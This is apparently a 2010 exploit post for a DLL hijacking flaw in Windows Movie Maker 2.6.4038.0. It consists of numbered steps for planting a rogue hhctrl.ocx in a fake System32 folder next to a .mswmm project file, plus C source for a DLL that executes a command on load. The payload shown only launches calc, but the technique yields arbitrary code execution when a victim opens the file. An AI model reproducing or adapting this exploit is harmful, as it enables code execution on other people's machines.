Microsoft Windows Movie Maker 2.6.4038.0 – ‘hhctrl.ocx’ DLL Hijacking
/* Exploit Title: Microsoft Windows Movie Maker <= 2.6.4038.0 DLL Hijacking Exploit (hhctrl.ocx) Date: 24/08/2010 Author: TheLeader Email: gsog2009 [a7] hotmail [d0t] com Software Link: http://www.microsoft.com/downloads/details.aspx?FamilyID=d6ba5972-328e-4df7-8f9d-068fc0f80cfc&displaylang=en Version: 2.6.4038.0 and prior Tested on: Windows 7 x86 (6.1.7600) There is a way more interesting bug there in which the program tries to load a driver file. It's in investigation, but has a nice potential for a nastier vulnerability. Meanwhile, enjoy =] Instructions: 1. Create a file with the following extension: .mswmm 2. Compile this library and rename it to hhctrl.ocx 2. On the same directory of the .mswmm file, create a directory called: %SystemRoot% 3. Inside %SystemRoot%, create a directory called: System32 4. Move hhctrl.ocx into the System32 directory that you have just created 5. Open the .mswmm file and enjoy the fireworks =] *Whispers* to all the great guys at forums.hacking.org.il */ #include <windows.h> #define DLLIMPORT __declspec (dllexport) int evil() { WinExec("calc", 0); exit(0); return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) { evil(); return 0; } |